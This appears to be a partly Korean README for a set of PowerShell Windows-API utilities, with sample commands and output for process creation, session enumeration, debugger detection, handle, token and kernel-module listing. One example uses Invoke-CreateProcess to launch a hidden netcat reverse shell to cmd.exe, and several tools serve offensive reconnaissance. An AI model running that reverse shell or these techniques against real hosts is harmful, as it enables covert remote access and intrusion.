
파워셸에 대한 나의 생각
온라인에는 PowerShell에서 거의 모든 작업을 수행할 수 있는 훌륭한 도구와 리소스가 있습니다. 하지만 때로는 특정 목적을 위해 유틸리티를 직접 스크립팅하거나 존재론적 간극을 메워야 할 필요가 있습니다. 이 저장소는 재미를 위해 또는 좁은 적용 사례를 염두에 두고 제가 모아둔 PowerShell 유틸리티 모음입니다.
그러므로 이것들로 얻을 수 있는 효용은 사람마다 다를 수 있지만, 이슈를 올리거나 포크하여 수정하는 것은 부담 없이 하셔도 됩니다.
PowerShell에서 Windows API에 액세스하는 데 참고할 만한 자료:
Windows의 "runas.exe"와 기능적으로 동일하며, Advapi32::CreateProcessWithLogonW를 사용합니다.``` Start cmd with a local account. C:\PS> Invoke-Runas -User SomeAccount -Password SomePass -Binary C:\Windows\System32\cmd.exe -LogonType 0x1
Start cmd with remote credentials. Equivalent to "/netonly" in runas. C:\PS> Invoke-Runas -User SomeAccount -Password SomePass -Domain SomeDomain -Binary C:\Windows\System32\cmd.exe -LogonType 0x2
### Invoke-NetSessionEnum
Netapi32::NetSessionEnum을 사용하여 도메인에 가입된 컴퓨터에서 활성 세션을 열거합니다.```
Enumerate active sessions on "SomeHostName".
C:\PS> Invoke-NetSessionEnum -HostName SomeHostName
Kernel32::CreateProcess를 사용하여 PowerShell에서 프로세스 생성에 대한 세밀한 제어를 달성합니다.``` Start calc with NONE/SW_SHOWNORMAL/STARTF_USESHOWWINDOW C:\PS> Invoke-CreateProcess -Binary C:\Windows\System32\calc.exe -CreationFlags 0x0 -ShowWindow 0x1 -StartF 0x1
Start nc reverse shell with CREATE_NO_WINDOW/SW_HIDE/STARTF_USESHOWWINDOW C:\PS> Invoke-CreateProcess -Binary C:\Some\Path\nc.exe -Args "-nv 127.0.0.1 9988 -e C:\Windows\System32\cmd.exe" -CreationFlags 0x8000000 -ShowWindow 0x0 -StartF 0x1
### Detect-Debug
PowerShell에서 커널/사용자 모드 디버거의 존재를 탐지하기 위한 여러 기술을 보여줍니다.```
Sample below is x64 Win8, WinDbg attached to PowerShell.
C:\PS> Detect-Debug
[+] Detect Kernel-Mode Debugging
[?] SystemKernelDebuggerInformation: False
[+] Detect User-Mode Debugging
[?] CloseHandle Exception: Detected
[?] IsDebuggerPresent: Detected
[?] CheckRemoteDebuggerPresent: Detected
[?] PEB!BeingDebugged: Detected
[?] PEB!NtGlobalFlag: Detected
[?] DebugSelf: Detected
NtQuerySystemInformation::SystemHandleInformation를 사용하여 지정된 프로세스에서 열린 핸들 목록을 가져옵니다. x32/x64에서 작동합니다.``` Get handles for PID 2288 C:\PS> Get-Handles -ProcID 2288
[>] PID 2288 --> notepad [+] Calling NtQuerySystemInformation::SystemHandleInformation [?] Success, allocated 449300 byte result buffer
[>] Result buffer contains 28081 SystemHandleInformation objects [>] PID 2288 has 71 handle objects
PID ObjectType HandleFlags Handle KernelPointer AccessMask
2288 Directory NONE 0x0004 0x88E629F0 0x00000000 2288 File NONE 0x0008 0x84560C98 0x00100000 2288 File NONE 0x000C 0x846164F0 0x00100000 2288 Key NONE 0x0010 0xA3067A80 0x00020000 2288 ALPC Port NONE 0x0014 0x8480C810 0x001F0000 2288 Mutant NONE 0x0018 0x8591FEB8 0x001F0000 2288 Key NONE 0x001C 0x96719C48 0x00020000 2288 Event NONE 0x0020 0x850C6838 0x001F0000 ...Snip...
### Get-TokenPrivs
프로세스에 대한 핸들을 열고 Advapi32::GetTokenInformation을 사용하여 프로세스 토큰과 연결된 권한을 나열합니다.```
Get token privileges for PID 3836
C:\PS> Get-TokenPrivs -ProcID 3836
[?] PID 3836 --> calc
[+] Process handle: 1428
[+] Token handle: 1028
[+] Token has 5 privileges:
LUID Privilege
---- ---------
19 SeShutdownPrivilege
23 SeChangeNotifyPrivilege
25 SeUndockPrivilege
33 SeIncreaseWorkingSetPrivilege
34 SeTimeZonePrivilege
Get-Exports는 DLL 내보내기를 가져오고 선택적으로 C++ 래퍼 출력을 제공합니다(ExportsToC++와 동일하지만 VS 및 컴파일된 바이너리가 필요 없음). 이를 위해 DLL 바이트를 메모리로 읽은 다음 구문 분석합니다(LoadLibraryEx 없음). 이 때문에 PowerShell의 비트 수와 관계없이 x32/x64 DLL을 구문 분석할 수 있습니다.``` PS C:> Get-Exports -DllPath C:\Windows\System32\ubpm.dll
[?] 32-bit Image!
[>] Time Stamp: 07/15/2016 18:07:55 [>] Function Count: 16 [>] Named Functions: 16 [>] Ordinal Base: 1 [>] Function Array RVA: 0x2F578 [>] Name Array RVA: 0x2F5B8 [>] Ordinal Array RVA: 0x2F5F8
Ordinal ImageRVA FunctionName
1 0x000242A0 UbpmAcquireJobBackgroundMode
2 0x00004750 UbpmApiBufferFree
3 0x00004E30 UbpmCloseTriggerConsumer
4 0x000135E0 UbpmInitialize
5 0x00008D00 UbpmOpenTriggerConsumer
6 0x000242C0 UbpmReleaseJobBackgroundMode
7 0x00013230 UbpmSessionStateChanged
8 0x000242E0 UbpmTerminate
9 0x00003BD0 UbpmTriggerConsumerConfigure
10 0x000040C0 UbpmTriggerConsumerControl
11 0x00025B10 UbpmTriggerConsumerControlNotifications
12 0x00025B40 UbpmTriggerConsumerQueryStatus
13 0x0000E1B0 UbpmTriggerConsumerRegister
14 0x000043F0 UbpmTriggerConsumerSetDisabledForUser
15 0x00012480 UbpmTriggerConsumerSetStatePublishingSecurity
16 0x00005330 UbpmTriggerConsumerUnregister
### Get-SystemModuleInformation
NtQuerySystemInformation::SystemModuleInformation를 사용하여 로드된 모듈, 해당 기본 주소 및 크기(x32/x64) 목록을 가져옵니다.```
PS C:\> Get-SystemModuleInformation
[+] Calling NtQuerySystemInformation::SystemModuleInformation
[?] Success, allocated 55656 byte result buffer
[?] Result buffer contains 188 SystemModuleInformation objects
ImageBase ImageSize ImageName
--------- --------- ---------
0xFFFFF80314C0D000 0x749000 \SystemRoot\system32\ntoskrnl.exe
0xFFFFF80315356000 0x6C000 \SystemRoot\system32\hal.dll
0xFFFFF803149ED000 0x9000 \SystemRoot\system32\kd.dll
0xFFFFF88000CB5000 0x5C000 \SystemRoot\System32\drivers\CLFS.SYS
0xFFFFF88000D11000 0x23000 \SystemRoot\System32\drivers\tm.sys
0xFFFFF88000D34000 0x15000 \SystemRoot\system32\PSHED.dll
0xFFFFF88000D49000 0xA000 \SystemRoot\system32\BOOTVID.dll
0xFFFFF88000D53000 0x7F000 \SystemRoot\system32\CI.dll
0xFFFFF88001068000 0x63000 \SystemRoot\System32\drivers\msrpc.sys
0xFFFFF880010CB000 0xC2000 \SystemRoot\system32\drivers\Wdf01000.sys
0xFFFFF8800118D000 0x10000 \SystemRoot\system32\drivers\WDFLDR.SYS
...Snip...